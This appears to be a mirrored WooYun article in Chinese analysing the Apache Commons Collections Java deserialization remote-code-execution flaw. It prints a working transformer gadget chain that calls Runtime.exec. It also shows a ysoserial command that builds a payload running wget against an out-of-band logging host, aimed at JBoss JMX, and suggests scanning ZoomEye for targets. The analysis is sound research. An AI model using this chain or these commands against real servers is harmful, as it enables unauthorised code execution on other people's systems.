common-collections中Java反序列化漏洞導致的RCE原理分析

wyzsk發表於2020-08-19
作者: 隱形人真忙 · 2015/11/11 22:40

0x00 背景


這幾天在zone看到了有人提及了有關於common-collections包的RCE漏洞,並且http://zone.wooyun.org/content/23849給出了具體的原理。作為一個業餘的安全研究人員,除了會利用之外,還可以探究一下背後的原理。

0x01 原理


Java反序列化導致的漏洞原理上和PHP反序列一樣,也是由於使用者的輸入可以控制我們傳入的物件。如果服務端程式沒有對使用者可控的序列化程式碼進行校驗而是直接進行反序列化使用,並且程式中執行一些比較危險的邏輯(如eval,登入驗證等),就會觸發一些意想不到的漏洞。實際上,這並不是什麼新的問題了,有關於Java中的反序列化導致的漏洞可以看https://speakerdeck.com/player/2630612322be4a2696a31775f2ed005d的slide瞭解一下。

而這次,主要探討一下在特殊環境下,反序列化能否達到遠端程式碼執行(RCE)。

參考文章3中給出了exp,並且在zone上有了很多的討論,配合github上的jar檔案生成一個序列化字串,然後傳送給漏洞站點就能觸發。關於利用,並不是本文的重點。

問題從common-collections工具的各個transformer說起,這些transform主要用於對Map的鍵值進行轉化。

其中,國外研究人員發現類InvokerTransformer中的transform方法允許透過反射執行引數物件的某個方法,並返回執行結果。

我們來寫個程式碼測試一下:

#!java
@SuppressWarnings({"rawtypes", "unchecked"})
public class VulTest {
    public static void main(String[] args) {
        Transformer transform = new InvokerTransformer(
                "append",
                new Class[]{String.class},
                new Object[]{"exploitcat?"});
        Object newObject = transform.transform(new StringBuffer("your name is ")) ;
        System.out.println(newObject);    

    }
}

這裡建立了一個InvokerTransformer物件,並且呼叫了它的transform,引數是個StringBuilder物件,執行後會輸出一個字串:

#!java
your name is exploitcat?

可以看到,透過transform方法裡的反射,我們成功呼叫了StringBuilder中的append方法並返回結果,雖然過程有些曲折。這樣,我們離RCE又近了一步,那麼誰會去呼叫這些transformer物件的transform方法呢?

呼叫這些transform方法的是一個叫TransformedMap的類,這個類可以當做原生Map類的一個包裝類(透過TransformedMap.decorate方法)。進入這個類一探究竟:

這裡的decorate方法就是對外建立TransformedMap物件的方法。在程式碼中我們可以清晰找到transform方法是如何被呼叫的。

以及entry物件呼叫setValue時,執行的checkSetValue

為了搞清楚為啥在setValue的時候發生了什麼,我們來看程式碼:

#!java
public class TransformTest {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
                    new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, 
                    new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class}, 
                    new Object[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers) ;
        Map innerMap = new HashMap() ;
        innerMap.put("name", "hello") ;
        Map outerMap = TransformedMap.decorate(innerMap, null, chain) ;

        Map.Entry elEntry = (Entry) outerMap.entrySet().iterator().next() ;
        elEntry.setValue("hello") ;
    }
}

程式碼中,我們將我們要執行的多行程式碼分散到各個transformer裡,使用InvokeTransformer類來執行我們的方法。接著用TransformedMap來執行transfom方法觸發程式碼。

這裡的原生Map用來被TransformedMap包裝,然後map的entry物件呼叫了setValue方法。在java環境中執行上面的程式碼,最後會彈出計算器:

到目前為止,我們找了一些創造RCE的條件:

(1)使用了InvokeTransformer的物件,並在transform方法裡執行程式碼;
(2)使用TransformedMap透過執行setValue方法來觸發transform方法。

對於一個“不講道理”的RCE,顯然需要另一個好用的類來同時滿足上面兩點,並且在readObject裡進行呼叫。readObject方法是java的序列化物件(實現了Serializable介面)中首先會呼叫的方法。

0x02 利用


這裡配合我們執行程式碼的類就是AnnotationInvocationHandler,我們來看看readObject方法裡面有什麼邏輯:

可以看到,首先呼叫了defaultReadObject來獲取了類屬性typememberValues,找到定義,這兩個東西如下:

readObject方法中,型別檢查之前就觸發了我們物件的方法。從memberValues引數中獲取了entrysetValue,這樣,雖然可能會有型別錯誤,但是程式碼卻執行了。符合了之前我們關於RCE的構想。所以看懂exp就變得很簡單。exp做了一件事情,就是返回一個序列化的handler物件,物件裡包含了我們的transformer物件陣列,用來裝載我們要執行的程式碼。

建立handler的方法如下:

利用反射,獲取到AnnotationInvocationHandler的建構函式,並傳入了我們的map,getInstance返回一個handler物件,完成了所要求的一切,之後,找個使用可控序列化的地方傳送這個序列化handler即可執行我們的程式碼。

我還是把exp貼上來吧,這段程式碼就是構造我們的handler物件:

首先exp裡構造了transformer物件陣列並用LazyMap進行包裝,包裝後裝到一個handler物件裡並返回這個handler

0x03 演示


為什麼說這個RCE影響大,具體可以看看參考文章1中作者給出的幾個案例,可以看到主流的java-web中介軟體都受到了影響,包括jboss、WebLogic、 WebSphere等。

以jboss為例的利用教程,在zone裡http://zone.wooyun.org/content/23847已經給出步驟了,利用門檻不高,只需要在zoomeye上找jboss來測試即可。

由於是RCE,所以花樣很多了,這裡我就挑幾個案例,利用CloudEye執行看看,執行命令為:

#!bash
wget http://your-cloudeye-site

如果成功執行,那麼我們的cloudeye上應該有日誌的。 具體如下:

#!bash
java -jar ysoserial-0.0.2-all.jar CommonsCollections1 'wget http://your-cloudeye-site' > out.ser

上面的命令是獲取執行wget命令的handler物件的序列化code,然後我們訪問jboss裡的JMX服務:

在cloudeye上,成功獲取了訪問記錄:

配合cloudeye,我們完全可以做到命令回顯,不過既然是RCE了,玩兒法就太多了。

實際上,參考文章1中給出了JAVA中使用了序列化的場景:

  • In HTTP requests – Parameters, ViewState, Cookies, you name it.
  • RMI – The extensively used Java RMI protocol is 100% based on serialization
  • RMI over HTTP – Many Java thick client web apps use this – again 100% serialized objects
  • JMX – Again, relies on serialized objects being shot over the wire
  • Custom Protocols – Sending an receiving raw Java objects is the norm – which we’ll see in some of the exploits to come

如果想探索這個漏洞的利用,那麼我推薦你閱讀以下這篇文章。

0x04 總結


總結下,漏洞產生的主要問題還是在使用者可控的序列化字串上,在使用ObjectInputStreamObjectOutputStream類的時候,最好進行白名單校驗,防止意外的發生。 配合參考文章1,估計接下來烏雲上又會颳起一陣腥風血雨。

參考文章:

  1. http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#jboss
  2. https://blogs.apache.org/foundation/entry/apache_commons_statement_to_widespread
  3. https://github.com/frohoff/ysoserial
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章